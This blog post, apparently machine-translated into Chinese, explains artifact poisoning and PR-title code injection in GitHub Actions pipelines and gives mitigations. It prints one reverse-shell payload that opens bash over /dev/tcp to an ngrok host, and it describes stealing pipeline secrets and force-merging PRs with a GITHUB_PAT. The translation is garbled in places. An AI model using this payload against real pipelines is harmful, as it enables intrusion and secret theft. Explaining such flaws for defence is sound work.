CICD-Pipelines

深入了解 CI/CD Pipeline漏洞(三):工件中毒和代码注入

在之前的帖子中(参见 间接中毒 Pipeline 执行 I-PPE 中毒 Pipeline 执行个人防护装备 ,我们主要处理 PPE(中毒 Pipeline 执行):我们了解了它的工作原理、它的影响、一些利用以及一些保护它的方法。 

这篇文章深入探讨了其他一些 CI/CD pipeline 诸如 Artifact Poisoning 和 Code Injection 等漏洞。 

为了做到这一点,我们将以 PPE 为基础,因此让我们快速总结一下我们所看到的有关 PPE 的内容。

先前关于 PPE 的研究

总而言之,我们从一个基本的 GitHub 开始 pipeline 通过构建和测试贡献的代码 pull request。此外,它还定义了一些检查,如果满足这些检查,则会将代码合并到主流分支中。我们将其命名为 场景#1.

CI/CD-Pipelines

在我们之前的文章中,我们演示了这个基本的 pipeline 是 易受 D-PPE 和 I-PPE 的侵害.

我们成功 固定D-PPE by 修改触发事件 ,来自 拉取请求 拉取请求目标制作 pipeline 对 D-PPE 安全。提醒一句, pipeline在 pull_request_target 事件上触发将执行基础 pipeline 代码,而不是 pipeline 代码包含在 pull request. 

我们将其命名为 场景#2.

CI/CD-Pipelines-漏洞-场景-2

经过这一修改,我们证明了 情景 #2 仍然容易受到 I-PPE 的影响

为了解决这个问题,我们决定 拆分 pipeline 分为两部分:

  • 1st pipeline (构建 CI) 会 检查 PR 代码(以构建它),进行构建并生成工件。
  • 2nd pipeline (测试CI) 会 检查基本代码(避免修改 shell 脚本) 并针对工件执行原始脚本。 
  • 同步测试 CI pipeline 在 Build CI 之后运行 pipeline,我们将使用 工作流运行 触发。 

我们将其命名为 场景#3.

CI/CD-Pipelines-漏洞-场景-3

让我们恢复两者的代码 pipeline根据这些修改……

1 pipeline (构建CI):

2 pipeline (测试置信区间):

神器中毒

根据上述 CI/CD pipelines:

  • pipeline 构建 CI is 安全 二者皆是 聚苯醚 (由于 拉取请求目标) 以及 个人防护装备 (因为它不再执行shell脚本)。
  • pipeline 测试CI 也是 安全 二者皆是 聚苯醚 (由于 工作流运行) 以及 个人防护装备 (因为它检出基础代码来获取原始的 shell 脚本) 

让我们深入研究这个“解决方案”。

Pipeline 测试CI 将工件下载为 zip 文件。

一旦解压,它就会执行“安全”的 shell 脚本。为什么我说“安全”的 shell 脚本?因为在上一步中, pipeline 检出“基础”代码,因此原始脚本被放入工作区文件夹中。因此,当 pipeline 使用先前下载的二进制文件执行将要运行的 shell 脚本。

那么,究竟是什么 问题 这种方法是否有效?问题来了 当任何用户“创建”一个新的 pipeline

如果用户打开包含新内容的 PR pipeline,GitHub 将执行该 pipeline  (给定一些条件,正如我们在前面看到的 发表).

鉴于这种, 如果用户创建新的 pipeline 与 Build CI 同名吗? 是的,这令人惊讶,但是 GitHub 允许您创建两个 pipeline同名!!

请记住,测试 CI 将在构建 CI 之后执行...

令人惊讶的是,因为现在有两个 pipeline同名的 pipeline 测试 CI 将执行两次:一个接一个 pipeline 以及其他“新” pipeline.

黑客如何利用这一点? 

  • 首先,恶意用户可以修改shell脚本,将秘密发送到黑客控制的服务器。
  • 其次,新的 pipeline 包含一行将修改后的 shell 脚本复制到工件中 → 毒害神器ct!!!

当用户打开包含这些更改的 PR 时,“新” pipeline 将被执行(上传中毒工件)和部署 CI pipeline 之后将被执行,结果 “修改后的” shell 脚本将覆盖位于 pipeline 工作空间.

CI/CD-Pipeline弱点

这就是我们所说的 神器中毒,即 修改(破解)的能力 pipeline 通过修改逻辑 pipeline 神器

一种可能 整治 非常简单: 只需将工件解压到工作区的子文件夹中即可避免覆盖“基本” shell 脚本

代码注入

除了工件中毒之外,你还能在上面的代码中看到其他漏洞吗?

我们走吧!!

正如你在代码中看到的, pipeline Build CI 构建二进制文件,它将二进制文件上传为 pipeline 工件,此外,它还上传了一些额外的数据:PR 标题和 PR Id。

为什么?因为要合并 PR,如下所示,测试 CI pipeline 需要 PR id 来调用合并 PR 的 GitHub REST API。 

测试 CI 如何 pipeline 获取 PR ID?在文本文件中共享信息(部分 pipeline 工件)是共享信息的一种常见方式 pipelines。而这正是这些 pipelines在干。

严格来说,合并 PR 只需要 PR Id,但 pipeline 管理员决定在 Build CI 中也包含 PR 标题,因此测试 CI pipeline 将打印出一些包含 PR Id 和 Title 的信息消息。

PR 标题始终是来自用户的数据,因此必须始终被视为不可信的。 所以 pipeline 必须予以妥善处理,并采取保护措施。

在上面的代码中,我们可以看到回显 PR Title 的具体消息。这只是一个“echo”Linux 命令。

通过字符串插值,如果标题是“虚拟标题”,Github 会在内部生成一个脚本,其中包含

但是,如果 PR 标题是这样的:

恶意标题” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

该脚本将变成:

导致对黑客控制的服务器打开反向shell。

CI/CD-Pipelines

该反向 shell 可能用于访问 pipeline 秘密(请记住,测试 CI 在特权模式下运行,因为它由workflow_run触发,因此它可以访问秘密)。

但是,通过这个反向shell还能做什么呢? 

查看 CI 测试代码:

正如你在测试 CI 中看到的那样 pipeline,curl 合并命令正在使用 GITHUB_PAT(定义为 pipeline 由于 GITHUB_PAT 是环境变量,因此运行器会将 GITHUB_PAT 包含为环境变量。此外,它还会创建一个读取 PR ID 的环境变量。 

因此黑客只需要复制 curl 命令并将其粘贴到反向 shell 中,将 PR 直接合并到受保护的分支中。

代码注入

为了保护这一切:

  • 避免 使用不受信任的数据进行字符串插值(容易受到 代码注入)通过 定义 pipeline 环境变量 而不是直接在 echo 命令中使用它

而不是使用:

用这个:

  • 即使存在代码注入漏洞,如果你正确执行了 curl 合并命令,它也不会成功 保护你的 pull requests 通过一些强制性的审查或批准

结论

保护起来有点困难 CI/CD pipeline配置并获取 pipeline没有漏洞。

这并不意味着 CI/CD 系统(如本例中的 GitHub)本身就存在漏洞。 CI/CD 系统提供了防范漏洞的方法……但实施这些保护措施是管理员的责任。

但… 除非您意识到漏洞的存在,否则您无法解决漏洞!!!

当然,一个技术精湛的 DevOps 管理员可能会考虑到所有这些威胁,并妥善保护 CI/CD pipelines,但即便如此,使用产品来检测所有这些类型的漏洞还是非常有价值的。当然,为了自动化这个漏洞检测过程(例如,将扫描作为 CI/CD pipeline)。

这种方法可以称为“安全门“ 

  • 创建一个新的 pipeline (安全门)检查 CI/CD pipeline的漏洞,并使其他CI pipeline仅在成功完成安全门后执行 pipeline.
  • 安全门 pipelines 将检查 CI/CD pipeline的弱点, 
    • 如果发现漏洞,它将失败,因此另一个 pipelines 将不会被执行。 
    • 如果没有发现漏洞,则 pipeline 将会成功,而另一个 pipelines 将照常执行。
CI/CD-安全

中毒 Pipeline 执行(PPE)

深入了解 CI/CD Pipeline弱点(一)​

间接中毒 Pipeline 执行(I-PPE)

深入了解 CI/CD Pipeline弱点(二)​

通过软件证明防止工件中毒

深入了解 CI/CD Pipeline漏洞(四)​
sca-tools-软件-成分分析工具
确定软件风险的优先级、进行补救并加以保护
注册免费账号。
不需要信用卡。

保护您的软件开发和交付

使用 Xygeni 产品套件